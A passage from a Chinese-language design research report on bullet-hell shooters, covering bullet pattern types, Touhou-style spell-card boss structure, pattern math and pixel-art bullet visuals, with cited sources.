**经典游戏例子**:螺旋是弹幕最经典的高性价比模式,\"低子弹数也能很华丽\"(note.com);东方各作螺旋遍地(常识),双反向螺旋常作中后期难度(YouTube Week 25 Boss 设计演示了\"顺+逆双螺旋\"Boss 阶段)。\n- **像素风格设计建议**:螺旋强调\"轨迹\",适合用**细长子弹(针弹/米弹/箭弹)**来勾勒弧线;或给圆形弹加方向性贴图(箭头形)让旋转方向可读(Sparen Guide A2 说明了\"有方向性的子弹图形\"对旋转/转向弹幕的可读性价值)。\n\n### 2.3 扇形弹幕(Fan / Wedge)\n\n- **视觉描述**:在一个方向张开成扇面。窄扇高压、宽扇适合场景演出;朝玩家发射时进攻性强(\"瞄准开火\"的观感),固定方向发射则可控、适合道中演出。(note.com 2-3 Fan)\n- **数学与实现要点**:\n ```\n n = 子弹数; spread = 扇形总张角; aim = 瞄准角\n step = spread / (n - 1)\n start = aim - spread / 2\n for i in 0..n-1:\n angle = start + i * step\n ```\n (来源:Unity 教程(Unity Discussions 搜索片段)与 Ted Lim 的扇面公式——\"startAngle = target - halfSpread / 2,endAngle = target + halfSpread/2,逐颗递增 step\")\n- **经典游戏例子**:几乎所有 STG 的追踪射击采用\"瞄准玩家的扇\"(aimed fan);东方道中妖精惯用(常识);DoDonPachi 等 Cave 游戏的\"concentrated fire\"即窄/快扇(来源:Zen of the SHMUP 对 Cave 的归类)。\n- **像素风格设计建议**:扇弹适合 7–11 颗一组的中型子弹(如 10px 小玉),发射瞬间用**同一色系**表示同一波;窄扇用暖色(红/橙)暗示高风险,宽装饰扇用冷色。\n\n### 2.4 直线弹幕(Line / Stream / Wall)\n\n- **视觉描述**:\n - **流弹(Stream)**:从一处连续射出单发子弹,形成一条密集弹流,玩家\"引弹\"时可把它带成一条可利用的空隙带(maribelhearn 术语:streaming / 引弹)。\n - **墙(Wall)**:同排/同列子弹连成不可穿越的\"墙\",迫使玩家整体绕过(宏闪避)或在墙隙中微闪避。Sparen Guide A3 的定义:\"墙 = 玩家无法从中间穿过的子弹群/编队\"。\n- **数学与实现要点**:连续发射(fire rate 控制密度)+ 固定方向;若每发角度做正弦微扰,直线流会变成\"S 形波流\"(Unity 论坛示例:0°→180° 递增、180°→360° 递减即正弦半波)。\n- **经典游戏例子**:东方\"针山/米弹雨\"类密集直线(常识);Sparen 用 Utsuho(地灵殿 阿空)的符卡组合说明微/宏闪避结合的动态弹幕(Sparen Guide A3)。\n- **像素风格设计建议**:直线弹适合**针弹/米弹/箭弹**(细长、方向明确);流弹用同色细弹,墙用同色+同速保证\"墙\"的视觉连续性;给子弹加方向性贴图可让玩家立即读出弹道(Sparen Guide A2)。\n\n### 2.5 随机散射(Random Spread)\n\n- **视觉描述**:子弹角度/速度在随机范围内散射,像火花、星尘、碎片。纯随机易显得\"无设计\"且不公平,优秀做法是给角度、速度、密度赋予\"范围与偏置\"(bias),即受控随机。(note.com 2-12 Particles;Sparen Guide A2 对随机角的负面评价)\n- **数学与实现要点**:\n - 在固定规律上叠加小随机:\"受控随机看起来更像弹幕\"(note.com 3-1):\n ```\n angle = base + i * even_angle + sin(t) * 波动幅度 # 规律性\n speed = base_speed + random(-0.2, 0.2) # 微扰\n ```\n - 随机角度也可用作\"种子角度\":例如连续发射环形弹时,每轮用一个随机初始角,避免盲区/避免每轮覆盖完全相同的路径(Sparen Guide A2)。\n- **经典游戏例子**:东方的\"小虫型符卡\"(《魔理沙的魔法书》分类,子弹细碎、颜色丰富,多为弱妖怪用,来源:Wikipedia 符卡)与妖精群随机弹(常识);Cave 的 Mushihimesama 强调\"更快、更集中\"的火力,其随机感更强(来源:Zen of the SHMUP / Reddit 讨论)。\n- **像素风格设计建议**:随机弹适合**点弹/星弹/米粒弹**等小尺寸,配合\"闪烁\"动画强调危险性;随机弹颜色可用亮白/黄等\"危险信号色\";注意与背景对比度(slynyrd)。\n\n### 2.6 追踪弹幕(Homing / Aimed)\n\n- **视觉描述**:\n - **瞄准弹(Aimed)**:开火瞬间朝玩家当前位置瞄准(可加扇形成\"瞄准扇/散弹\"),考验玩家\"引弹\"(misdirection)能力(note.com 2-4、maribelhearn 术语)。\n - **追踪弹(Homing)**:飞行中持续转向玩家。转向性能越弱越容易躲,追求\"稍微弯曲\"而非\"全程咬死\",反而更美观(note.com 2-13)。\n- **数学与实现要点**:\n ```\n desired = atan2(player.y - bullet.y, player.x - bullet.x)\n turn = clamp(desired - bullet.angle, -maxTurnRate*dt, +maxTurnRate*dt)\n bullet.angle += turn # 限速转向(turning performance)\n # 可选:加速度朝玩家、停顿后重新加速、分裂后重新锁定(note.com 2-13 变体)\n ```\n- **经典游戏例子**:瞄准弹是 Cave\"concentrated fire / tracking\"风格的基石(来源:SHMUP Workshop 03 YouTube——\"tracking and spread gates, 经典 CAVE 做法\");东方 Boss 的瞄准时间差/瞄准散弹(常识)。追踪弹在 DoDonPachi 的\"自爆弹\"(suicide bullets,击破敌人释放的追踪自机弹)中大量出现(来源:TimeExtension)。\n- **像素风格设计建议**:追踪弹要用**明显的方向性贴图**(箭头/小刀/蝴蝶等)且贴图随角度旋转,否则玩家读不出它在转弯(Sparen Guide A2:\"无方向性贴图的圆弹不传达转向\")。用发光/描边强调\"这只子弹会追我\"。\n\n### 2.7 反弹弹幕(Bounce / Ricochet)\n\n- **视觉描述**:子弹撞到屏幕边缘/墙壁后反弹继续飞行,轨迹呈折线。属于\"轨迹型\"弹幕中较少见的一类。\n- **数学与实现要点**:碰撞边缘时反射角度:`angle = π - angle`(左右边)或 `angle = -angle`(上下边),或对速度向量做分量取反;可加转数上限让子弹弹几次后消失。\n- **经典游戏例子**:相比东方式纵版弹幕(子弹通常出屏即消),反弹弹更常见于街机/横版与部分同人弹幕(如某些 Cave 之外的 STG);东方中近乎**没有**常规反弹弹(常识判断,未见调研资料佐证其广泛存在)。⚠️ 这属于\"相对少见\"的类型,若要在本项目中使用,建议作为特色武器或 Boss 特殊阶段引入,而非基础词库。\n- **像素风格设计建议**:反弹弹适合圆润的**圆形/椭弹**(避免方向性贴图在反弹瞬间的旋转跳变违和);反弹瞬间加 1–2 帧\"压缩-回弹\"动画或火花粒子,强化物理感;用预警或颜色提示\"它会弹\"。\n\n### 2.8 滞留弹幕(Static / Lingering)\n\n- **视觉描述**:子弹停留在场上形成持续障碍,或极慢速移动封锁区域。包括:静止弹墙、悬浮使魔、地面/空中持续存在的弹(laser 也可视为线状滞留)。作用是**区域封锁(area denial)**:封住一部分屏幕,为后续弹幕做铺垫,或堵住之前的逃逸路线(SHMUP Workshop 03:area denial patterns 的定义;Boghog:bullet sealing、ceasefire zone 等反挫败机制)。\n- **数学与实现要点**:寿命(lifespan)拉长 + 速度降到 ~0;或通过\"分裂条件=凝固\"实现\"飞行到某点后停住\"。可让滞留弹周期性闪烁(半透明 + 呼吸)提示\"仍在威胁中\"。\n- **经典游戏例子**:东方\"压迫型符卡\"(《魔理沙的魔法书》:限制自机移动范围的符卡,来源 Wikipedia,如灵梦的梦符「二重结界」以弹幕构成双重结界限制移动——B 站文章以它为例);激光墙封路也是常见形式(note.com 2-14,激光\"clearly block off parts of the screen\")。\n- **像素风格设计建议**:滞留弹必须与\"会动的危险弹\"在视觉上区分——建议**低频闪烁 + 半透明 + 固定描边**;或用\"发光的柱子/结界\"图形(如结界/棱镜形状)表示区域阻碍物。静止弹用冷色系(蓝/紫),活动弹用暖色系,形成语义分离。\n\n### 2.9 组合弹幕(Compound Patterns)\n\n- **视觉描述**:把多个模式叠加。例如\"螺旋铺满屏 + 瞄准弹逼玩家移动\",或\"展开环 + 中途分裂 + 激光堵路\"。(note.com 2-15 Composite)\n- **设计原则**(note.com 3-2 / 2-15):\n - 组合时**指定一个主模式**,其余为伴奏,避免信息过载。\n - 元素越多,越要依赖颜色编码、预警、缝隙设计来保证可读性。\n - 组合要形成\"分工\":背景压迫 + 前景逼迫(如中间难度组合:旋转全向弹 + 上方落雨 + 周期性瞄准弹)。\n- **经典游戏例子**:东方高阶符卡几乎都是组合(常识,如多层螺旋+分裂环+预警激光即 note.com 高级 Boss 推荐组合);阿空(地灵殿)的符卡是微/宏闪避结合的著名组合(Sparen Guide A3)。\n- **像素风格设计建议**:组合弹幕在像素风下最容易\"糊成一团\"。建议:每个模式用**不同主色**;不同模式用**不同子弹形状**(圆=压迫、针=直线、星=装饰/特殊);层与层之间拉开速度差,让玩家能分层读取。\n\n### 2.10 调研补充的常用模式\n\n以下模式来自 note.com 的《15 种经典弹幕模式》与 Sparen 指南,按需并入本项目词库:\n\n| 模式 | 视觉/玩法特征 | 要点 | 像素建议 |\n|---|---|---|---|\n| **波型/幕帘(Wave/Curtain)** | 正弦波排列的子弹带,像波浪/极光/瀑布,容易与 BGM 节奏联动 | 重点是\"缝隙的流动感\"而非子弹本身;`y = a·sin(ωt + φ)` 排布 | 用细长米弹/针弹沿正弦排布,同色系渐变 |\n| **网格(Grid)** | 横竖规则排列,钻石/晶体状,几何美且缝隙可读;纯网格易单调,加大小的速度差/局部缺口 | 强规律、易读、密度↑难度↑ | 用规则小圆弹 + 网格闪烁/错位动画 |\n| **花状(Floral)** | 对称花瓣排列(5/6/8 瓣),华丽,适合符卡演出 | 对称越高越精致;过度均匀会单调,周期性转相位 | 花瓣用两类颜色交替(瓣=亮、蕊=暗)强化图案 |\n| **星形/多边形(Star)** | 强调特定顶点(5/6/8 向)的星形放射 | 少弹星形也醒目,适合元素/性格表达 | 用星形贴图子弹 + 旋转动画 |\n| **交叉(Intersection)** | 多股弹流交叉如编织/光流;视觉美但缝隙易被切断 | 关注\"玩家可走的路径\"而非交点;调速度/密度/交叉角 | 两条交叉流用互补色(如青 vs 品红)|\n| **落雨(Rain)** | 自上而下倾泻,天然适合道中演出 | 全随机易不公平,保持一定规律美观 | 竖直方向子弹用垂直长条贴图或水滴形 |\n| **粒子(Particles)** | 火花/星尘式散落,适合爆炸、花瓣、魔法粒子、Boss 登场 | 给角度/速度/密度一个\"范围+偏置\" | 小尺寸 + 闪烁,可叠加在其他弹幕上做纹理 |\n| **激光(Laser)** | 线/带状攻击,视觉冲击强,可明确封路 | 发射前先给**细预警线(telegraph)**最公平;有固定/旋转/弯曲/网格激光 | 预警线细→粗的 2 帧过渡动画;激光主体用高亮+描边 |\n| **分裂弹(Split)** | 飞行中途/定时/到距离后爆成子弹(如 1→3),常伴随\"先停顿\"预警 | 分裂条件:时间/距离/位置;分裂后子弹可重新锁定玩家(note.com 2-13) | 母弹大而亮(告知\"会爆\"),子弹小一号;停顿帧加\"蓄力闪光\" |\n\n---\n\n## 3. Boss 战弹幕设计\n\n### 3.1 阶段转换与东方Project符卡系统(Spell Card)\n\n**东方Project 的符卡系统**(来源:Wikipedia《符卡》、百度百科、PIXNET 东方介绍):\n\n- **来源与规则**:符卡(Spell Card,スペルカード)由《东方红魔乡》首次引入(ZUN 自述为\"比其它系统更早面世\"而开发本作)。符卡规则 = \"给绝技命名并宣言\"的决斗规则:宣言、约定符卡张数、击破对方全部符卡即胜。\n- **敌方符卡流程**:\n 1. **非符(nonspell)**:Boss 的普通攻击,一般耐久条分格为单位;\n 2. **符卡宣言**:血量削到阈值时 Boss \"念符\"(宣言),画面切换为该角色专属 Spell Card 背景,进入符卡攻击;\n 3. **符卡红利(Spell Card Bonus, SCB)**:无 Miss 无 Bomb 击破符卡可获得额外分数,随时间递减;擦弹可增加红利;\n 4. **时间限制**:每张符卡有残余时间显示,超时 Boss 自动进入下一波(此时无法收取符卡)。\n- **符卡变体**:\n - **增强型符卡**:随血量削减,弹幕密度/速度逐渐增加,越到后面越难(强化难度的天然手段);\n - **时效型/时限型符卡**:耐久无法直接削减,玩家必须\"死守到时间结束\"才能收取(生存符卡 survival card;如《永夜抄》部分符卡);\n - **Last Spell / Last Word / Overdrive**:残机为零或特定条件下的最终符卡(Extra/隐藏挑战用)。\n- **难度变化**:同一符卡在 Easy/Normal 与 Hard/Lunatic 下常有**不同名字**(Higher 难度名字更华丽),弹幕排列与颜色也会变化(Wikipedia)。\n- **《魔理沙的魔法书》对符卡的分类**(Wikipedia):演剧型(重视觉效果、大量非瞄准装饰弹)、奴隶型(用使魔/人偶/式神攻击)、小虫型(细碎多彩、弱妖怪)、压迫型(限制自机移动范围)、兴奋剂型(强化自身)。\n\n**对本项目的启示**:阶段(Phase)不必按血量硬切,可以模仿\"非符→符卡宣言→符卡\"的节奏:普通阶段保持低密度教学,宣言瞬间清场 + 特效 + 显示符卡名,制造\"仪式感\";生存符卡(时限型)能复用已有图案、只改目标(熬过 X 秒),开发成本低、演出效果好。\n\n### 3.2 弹幕密度控制\n\n- **密度不是越多越好**:'curtain fire'不等于无限堆弹;密度阈值之后,可读性(readability)崩坏,玩家感到\"不公平\"而非\"华丽\"(note.com 3-2:设计缝隙而非密度)。\n- **难度曲线**:\n - 报告参考\"轻/重阶段交替\"(Danmaku Unlimited 3 采用东方式 light/heavy 交替:轻阶段让玩家喘息与移动,重阶段密集压迫,来源 Forgotten Worlds 采访);\n - 每个 Boss 阶段内\"缓慢升级\":起点是玩家已见过的简单变体,随后逐次加大子弹量/缩小缝隙/提高速度(SHMUP Workshop 03:slow escalation)。\n - 不同难度等级通过\"同一图案改密度/速度/名字\"来分层(东方难度差异,Wikipedia)。\n- **可控变量**(可做成运行时调参工具):子弹数、速度、发射间隔、扇形张角、环形偏转、随机种子、加层数。\n- **Cave 的 rank 系统**:根据玩家当前表现(残机/雷/击破率)动态调整弹幕强度——可选的高级机制(来源:TimeExtension;Boghog 亦建议用\"credit feed 降 rank\"来练习 Boss)。\n\n### 3.3 安全路径设计(Safe Zones / 缝隙 / 路线)\n\n弹幕的本质是\"缝隙谜题\",安全路径是设计对象而非巧合:\n\n- **微闪避(micrododging)**:在密集子弹的缝隙间小幅移动穿行(Sparen A3 / maribelhearn / Boghog);\n- **宏闪避(macrododging)**:对整个弹幕编队进行大幅度绕行、找到整块安全区(safe spot / safespot——\"内部完全不会被击中(或近于)的点/区域\",maribelhearn 术语);东方中 BOWAP、咲夜道中非符等是经典 safespot(maribelhearn Beginner Guide / jargon);\n- **引弹(streaming / misdirection)**:瞄准弹只有在玩家\"把弹流引到别处\"时才安全——设计上,持续的瞄准弹迫使玩家移动并制造\"下一波更难\"的位置压力(SHMUP Workshop 03:被满屏引导到尴尬位置会削弱后续应对;maribelhearn:misdirection 常在数秒空隙内完成);\n- **路线(routing)**:玩家在静态/半静态弹幕中规划的具体移动路径,是\"设计缝隙\"的最终产物;\n- **设计检查表**(综合 note.com 3-2 与 SHMUP Workshop 03):\n 1. 画图时刻意留下**可见的缝隙**(gap width > 判定点 + 子弹判定 + 误差余量);\n 2. 区分\"安全点型\"(原地不动即可)与\"移动型\"(需要持续引弹)两类安全路径,交替使用;\n 3. 用瞄准弹/区域封锁弹**主动关闭**上一轮的安全点,防止玩家蹲坑(area denial,SHMUP Workshop 03;以及\"anti-camping:避免玩家龟缩\"的 Boss 设计目标);\n 4. 每次重复图案时用随机种子旋转相位,避免出现固定盲区(Sparen A2)。\n\n### 3.4 时间限制与弹幕压力\n\n- **时限符卡**:上面已述(生存符卡)。在设计上,时限 = \"不需要 DPS 检验,纯粹考验躲避\",适合放在 Boss 战中段作为节奏变化点(东方文花帖/弹幕天邪鬼等衍生作品以\"时限+道具\"为核心玩法)。\n- **压力节奏(tension-release loop)**:\n - 每个波次设计\"入口压力→主压力→释放\"三段式:先预警(低压力、可读),再高压(核心躲避),最后 1–2 秒\"突然变简单\"给玩家胜利快感(Boss Up YouTube:survive 之后的那 1 秒喘息极具成瘾性);\n - 压力来源可以分层:视觉压力(满屏)、逻辑压力(瞄准)、时间压力(超时/残机消耗)。\n- **Boss 战的五个设计要素**(来源:Game Developer《Video Game Boss Design for Shmups》):\n 1. **难度 Difficulty**:首关 Boss 必须让\"认真玩的人\"能过;Boss 攻击应与关卡已有敌人/道具主题连贯(\"进化\"而非\"空降\");\n 2. **多样性 Variety**:Boss 血量条分段显示图案边界;同一段血内可循环多个攻击,且每次攻击要求不同的躲避/输出策略;\n 3. **时长 Length**:Boss 战时长与关卡时长成比例;中 Boss 不应比关底 Boss 长;把\"信息不对等的假 Boss → 真 Boss\"当一次性惊喜;\n 4. **回报 Pay-off**:Boss 战末尾(濒死前)往往\"倾泻所有弹幕\"制造最终高潮(Mushihimesama、ESPGaluda2、Ikaruga 第 3 章 Boss 都是例子);好回报 = 节奏铺垫 + 假危机;\n 5. **角色 Character**:爆炸方式、受击反馈、蓄力/宣言动画、音效都要符合角色性格——这是\"为什么这个 Boss 挡在这里\"的叙事答案。\n\n### 3.5 东方式 Boss 战结构参考(综合)\n\n1. 开战:非符 1(轻、教学、环/扇)\n2. 符卡宣言(换背景、念符名)→ 符卡 1(主题图案,时间限制,收取奖励)\n3. 非符 2(中压,引入瞄准/引弹)\n4. 符卡 2(组合图案,增强型:随血量变密)→ ……\n5. 濒死:Last Spell / 最终符卡(最强+最华丽)→ 消弹演出(击破瞬间子弹变道具)\n6. (挑战层)隐藏:Extra 时限符卡 / 弹幕天邪鬼式\"看似不可能\"组合\n\n---\n\n## 4. 数学原理与实现\n\n### 4.1 基础参数体系\n\n任何一个弹幕模式都可由以下参数组合生成(来源:note.com 第 4 章;o3de-diorama 参数表):\n\n| 参数 | 作用 | 备注 |\n|---|---|---|\n| 发射位置 | 敌中心/屏幕边缘/多炮塔 | 决定子弹出生点阵型 |\n| **发射角度** | 固定 / 旋转 / 瞄准 / 随机 | 最易出效果 |\n| 子弹数量 | 密度 | 环形=一圈数量、扇形=扇内数量 |\n| 发射间隔 | 节奏 | 决定\"流\"还是\"波\" |\n| 子弹速度 | 难度与观感 | 快=危险、慢=可读 |\n| 加速度 | 节奏与曲线 | 减速弹、加速弹 |\n| 角速度 | 螺旋、转向弹 | 曲线弹的核心 |\n| 寿命 | 消失时机 | 滞留弹=长寿命 |\n| 分裂条件 | 时间/距离/位置 | 分裂弹 |\n| 颜色/大小 | 可读性与美观 | 颜色=属性编码 |\n\n### 4.2 角度与排列公式(常用)\n\n- **环形**:`angle_i = base + i·360/n`,`v = speed·(cos, sin)`(2.1 节)\n- **扇形**:`angle_i = aim - spread/2 + i·spread/(n-1)`(2.3 节)\n- **瞄准**:`angle = atan2(py - ey, px - ex) + 偏移`(瞄准扇 = 在其两侧均匀分布)\n- **网格**:对 `(i,j)` 行列给固定 x/y 间距\n- **正弦波**:`x 或 y += A·sin(ω·t + φ)`(2.10 波型)\n- **花瓣/星形**:`angle_i = base + i·(360/petal) + 相位`,再由花瓣内多颗子弹构成瓣形\n- **规律+微扰**:`angle = base + i·even + sin(t)·fluct`,`speed = base + random(-δ,δ)`(note.com 3-1)\n- **周期循环**:如\"每 60 帧一波大浪、每 15 帧小弹、每 4 发反转角度\"制造音乐性节奏(note.com 3-4)\n\n### 4.3 速度变化(加速/减速弹幕)\n\nDanmokou(DMK 引擎)归纳的常见运动(来源:Danmokou Tutorial 6):\n\n1. 恒定速度直线(默认)\n2. **直线加速**(`v(t) = v0 + a·t`,可正可负:赶人弹/诱导弹)\n3. 速度在慢/快之间周期切换\n4. 两位置间往返\n5. 极坐标运动(径向+角速度)\n6. 波浪线(squiggly)\n7. 旋转运动方向(追踪/转向)\n8. 相对另一运动物体运动(随从弹/母舰子机)\n9. 任意参数方程轨迹\n\n工程提示:DMK 把运动建模为**函数**(`rvelocity(px(3 + sine(4, 0.6, t)))`),而不是\"速度/加速度两个标量\",从而任意轨迹即插即用;其子弹更新循环一次函数调用即可支撑 10 万以上子弹 @4K 120FPS(DMK 官方数据)。\n\n### 4.4 曲线弹幕(转向 / 极坐标 / 贝塞尔)\n\n- **限速转向(追踪弹)**:每帧把朝向转向上限内的目标方向(2.6 节公式);\"转向弱一点更好躲也更好看\"(note.com 2-13)。\n- **极坐标螺旋**:`r(t)=a·t, θ(t)=b·t` → 直角坐标 `x = cx + r·cosθ, y = cy + r·sinθ`(DMK 示例 `polar(2*t, 80*t)`)。注意极坐标绕圈时转速均匀性需要弧长参数化,DMK 作者自述\"没有闭式解,需迭代求解\"。\n- **贝塞尔曲线(弯曲弹)**:二次贝塞尔 `B(t) = (1-t)²·P0 + 2(1-t)·t·P1 + t²·P2`,每帧采样 t∈[0,1] 作为下一位置(通用图形学做法,非本次调研单一来源;用于\"弧形弹道/水漂弹\")。三次贝塞尔 `C(t)` 用于更复杂的 S 形弹道。\n- **正弦扰动**:在固定方向上叠加正弦横向偏移,成为\"S 形\"弹(Unity 论坛实现示例)。\n- **角度退化/曲线激光**:东方中存在\"准激光\"(弧形激光、曲线灵弹),判定比直线激光大(thwiki 弹型介绍)——曲线弹道要么给足预警,要么减小判定。\n\n### 4.5 性能实现建议\n\n- **对象池(object pool)**:固定容量池 + 硬上限,防止无限生成(o3de-diorama 的 `Max Bullets` 硬上限设计)。\n- **批量渲染**:同一纹理的整组子弹一次 draw call(sprite batch / 合批)。\n- **碰撞**:每颗活子弹对目标碰撞层做一次重叠查询,目标层只放玩家/护盾几个碰撞体,几百颗子弹也便宜(o3de-diorama)。\n- **功能分层**:发射器(emitter)只管几何与碰撞,伤害/计分留在游戏侧(o3de-diorama 的分工建议)。\n\n---\n\n## 5. 像素风格下的弹幕视觉设计\n\n### 5.1 子弹形状库\n\n**核心原则**:'shmup 最核心的是弹幕的可读性(visibility)——在任何背景下都能被读出'(slynyrd Pixelblog 31)。形状即语义:**形状要匹配行为**(Sparen Guide A2 / Pixelblog 32:箭形弹配直线飞行才合理;追踪弹要旋转指向的运动方向)。\n\n**东方参考形状清单**(来源:thwiki《东方全弹型介绍与中弹判定分析》、maribelhearn 子弹类型表、Steam Touhou Bullets Model Pack):\n\n| 类别 | 形状 | 用途/特点 | 像素建议 |\n|---|---|---|---|\n| 圆形系 | 小玉(带圈/不带圈)、中玉、大玉(空心) | 通用基础弹;大玉实际判定仅中心空洞 | 6–10px 圆 + 描边;大玉用\"中空环\"贴图配透明中心 |\n| 粒状 | 点弹、米弹 | 点弹最小(<判定点),米弹为最高发弹量弹型之一 | 3–4px 点、8×4 米粒;米弹风速后有变短/判定变大差异 |\n| 尖形 | 针弹/箭弹/晶弹 | 速度感、方向感最强 | 长 8–14px 的三角/箭头,尖端高亮 |\n| 刀剑形 | 刀弹、剑弹、苦无 | 角色辨识度高(如咲夜/蕾米) | 剑身+尖端高光;前端无判定所以略细 |\n| 星光形 | 星弹(大/小)、光弹 | 华丽、魔法感;光弹判定偏大 | 4 角/5 角星 + 旋转动画 |\n| 特殊形 | 蝶弹、心弹、音符弹、钱弹、鳞弹(带\"翼\") | 角色主题、装饰 | 2 帧扇翅/跳动动画;鳞弹判定仅中心点 |\n| 火焰/流体 | 炎弹、水滴/滴弹 | 不规则 | 2–3 帧沸腾动画,\"躲前端\"语义 |\n| 激光 | 线段激光/射线激光、弧形激光 | 封路、视觉冲击 | 预警线(细)→ 实体(粗)2 帧过渡;线身描边 |\n\n**东方判定参考**(thwiki):多数弹\"判定 < 视觉\":大玉只有中心空洞有效、鳞弹只有中心点、剑弹前端无判定、激光靠预警线判定;当\"准激光/粥弹/核弹\"等判定欺诈弹出现时,需要玩家另行学习——像素风下**不要滥用判定欺诈**,默认\"所见即所判\"更公平。\n\n### 5.2 颜色编码\n\n- **基础原则**:子弹是屏幕上最鲜艳的元素;用高饱和色与背景拉开对比;颜色可传达属性/机制语义(slynyrd;note.com 3-3)。\n- **按属性/危险度编码**示例:\n - 红/橙 = 高速、致命、普通攻击;\n - 蓝/青 = 特殊判定、特殊移动(如反弹/曲线/激光);\n - 紫/白 = 装饰弹、非致命、演出用;\n - 绿 = 通常用于玩家/友方,避免敌方子弹大量用绿(语义混淆)。\n - (以上为常见实践惯例,属综合常识,非单一文献结论。)\n- **注意**:颜色要与背景/特效区分(note.com 3-3);考虑红绿色盲——**不要只靠红/绿区分要害**,同时用形状/大小/闪烁区分。\n- **同波同色**:同一次发射的子弹用同一色系,方便玩家把\"一波子弹\"当整体读(note.com 3-3:子弹类型或危险度不同则换色)。\n\n### 5.3 子弹大小与可躲避性\n\n- **判定点 vs 视觉**:自机 hitbox 远小于机绘(Cave 1px hitbox、DoDonPachi 子弹判定约直径 20%,来源 TimeExtension/Shmups Wiki);聚焦模式时在判定点处显示小红点让玩家能\"穿缝\"。\n- **子弹尺寸**:越大越可见但占屏;太小(<判定点)会\"消失\"且威胁感弱。建议子弹视觉 6–16px 常见、点弹 3–4px、激光不限长(slynyrd:子弹应大小多样,通常越大伤害越高)。\n- **缝隙设计**:安全缝隙宽度 = 玩家判定 + 子弹判定 + 玩家操作误差(微闪避用低速聚焦移动保证精度);设计时给缝隙留 ≥2–3px 冗余(工程经验法则)。\n- **密度 vs 大小**:子弹越小越能密(给留出视觉通道);同屏密度高时,小弹+弱判定(空心大玉)是\"看起来吓人、实际可穿\"的经典手法(thwiki 大玉示例)。\n\n### 5.4 发光/粒子效果在像素风格中的处理\n\n- **描边(outline)**:几乎必备,最好**双层描边**(亮色外圈+暗色内圈)以保证任何背景下可读;pixel 风格常用白描边与其它精灵(深描边)区分(slynyrd)。\n- **闪烁/双帧动画**:两帧交替即可做出\"呼吸/危险脉冲\";对比度越大越激烈,但太强会难以追踪快速弹(slynyrd)。\n- **发光**:像素风发光 = 亮色核心 + 1 层半透明同色光晕(加色混合 additive)或\"外扩 1px 亮描边\";避免真实 bloom 破坏像素感。\n- **粒子**:爆炸/火花/花瓣用\"范围+偏置\"的受控随机(note.com 2-12);粒子可叠加在弹幕上做纹理而不是独立威胁。\n- **脉冲缩放**:呼吸/脉动(expanding-contracting)可让呆滞的圆弹\"活起来\"(slynyrd 的 rotation/motion 建议)。\n- **消弹特效**:Boss 符卡击破瞬间,全屏子弹转为道具/星点,是东方色的标志性演出(Touhou Wiki Items:子弹在 Boss 攻击结束/未超时被打掉时转为星道具;消弹 cancel 亦为计分要素,maribelhearn 术语)。\n\n### 5.5 弹幕层级的视觉优先级\n\n绘制顺序(从底层到顶层,工程惯例 + Reddit shmupdev 设计 101 摘要:\"敌方子弹永远画在其它对象之上\"):\n\n1. 背景/场景层\n2. 地面敌人/可破坏物\n3. 道具、点数\n4. 玩家射击、爆炸特效(半透明)\n5. **敌方子弹(最高优先级之一,必须覆盖玩家机绘)**\n6. 玩家机绘 + 判定点指示(聚焦时)\n7. UI(血量/符卡名/时间)\n\n理由:玩家需要\"先读弹,再读自己\";若子弹被机绘/特效遮挡,就会产生\"判定杀(clipdeath)\"的挫败感(maribelhearn 术语)。\n\n### 5.6 像素风格弹幕设计清单(落地用)\n\n- [ ] 每种模式指定**1 个主色 + 1 种子弹形状**(勿两种都在变);\n- [ ] 危险弹用暖色+闪光,装饰弹用冷色/暗色调;\n- [ ] 所有敌方子弹带描边(建议双层),且在玩家机绘之上绘制;\n- [ ] 直线/追踪/曲线弹使用**方向性贴图**(箭头/针/刀)并随角度旋转;\n- [ ] 预警:激光先细线→粗线;分裂弹先停顿+蓄力闪光;大威力攻击让 Boss 本体发光(note.com 3-5);\n- [ ] 判定 < 视觉:默认简化判定(圆/椭圆),为\"大玉/鳞弹\"这类特殊判定做贴图注释(空心=可穿);\n- [ ] 像素分辨率建议在 320×180~640×360 区间定基准(slynyrd 建议 480×270),保证单个子弹仍有足够像素表达细节;\n- [ ] 每张符卡/阶段限定子弹色彩数(建议 2–3 色),避免像素噪点化。\n\n---\n\n## 6. 对本项目(像素风弹幕游戏)的落地建议汇总\n\n1. **词库起步**:环形 / 螺旋 / 扇形 / 直线(流+墙)/ 瞄准扇 / 受控随机 / 分裂弹 / 激光(带预警)/ 滞留结界,共 9 个基础模式,先用\"参数化发射器\"(Count/Aim/Spread/Spin/Speed/FireRate/Lifetime)实现(参照 o3de-diorama 的参数表),Boss 脚本只做\"模式序列 + 转场\",成本最低。\n2. **难度曲线**:按\"非符(轻)→ 符卡(重)→ 非符 → 符卡 …\"排布;每张符卡 = 1 主题图案 + 增强型变密 + 时限生存变体(一套图案三种玩法)。\n3. **公平性**:所有危险性一定要有预警(telegraph);缝隙 > 判定 + 冗余;颜色+形状双通道编码。\n4. **像素视觉**:双层描边 + 双帧闪烁 + 加色发光小光晕 + 同波同色 2–3 色限制 + 子弹层级最高。\n5. **性能**:对象池 + 合批 + 简化碰撞层(目标只放玩家/护盾),确保几百到几千颗子弹稳定 60FPS。\n\n---\n\n## 7. 信息来源与置信度说明\n\n按信息诚实原则,对所有关键结论标注来源与置信度:\n\n**(A)本轮调研直接引用的网页来源(置信度高,可复核):**\n\n1. npaka,《A Summary of 15 Beautiful Bullet Hell Patterns in Danmaku Shooters》(note.com)——15 种模式分类、组合配方、参数与设计 tips:https://note.com/npaka/n/n5d38b7d84173?hl=en\n2. Sparen's Danmaku Design Studio,Guide A2(角度类型、方向性子弹、心理过滤、danmaku vs 普通 STG)、Guide A3(墙的定义、微/宏闪避、Utsuho 例子):https://sparen.github.io/ph3tutorials/ddsga2.html 、ddsga3.html\n3. Danmokou(DMK 引擎)Tutorial 6(函数式运动系统、极坐标螺旋公式、性能数据、贝塞尔/参数方程讨论):https://dmk.bagoum.com/docs/articles/t06.html\n4. Wikipedia《符卡》(符卡规则、宣言、红利、时效/增强型、Last Spell/Last Word/Overdrive、难度差异、魔理沙魔法书分类):https://zh.wikipedia.org/zh-hans/符卡\n5. thwiki/东方吧Wiki《东方全弹型介绍与中弹判定分析》(小玉/米弹/点弹/大玉/光弹/针弹/鳞弹/剑弹/炎弹/激光/核弹/粥弹及判定细则):https://touhou8.thwiki.cc/index.php?edition-view-1281-1.html=\n6. maribelhearn 《Touhou Community Jargon》(子弹类型表、micro/macro dodge、safespot、streaming、misdirection、routing、cancel、clipdeath 等术语):https://maribelhearn.com/faq/jargon(含中文版)\n7. maribelhearn Beginner Guide(微/宏闪避、流弹引弹、safespot 举例 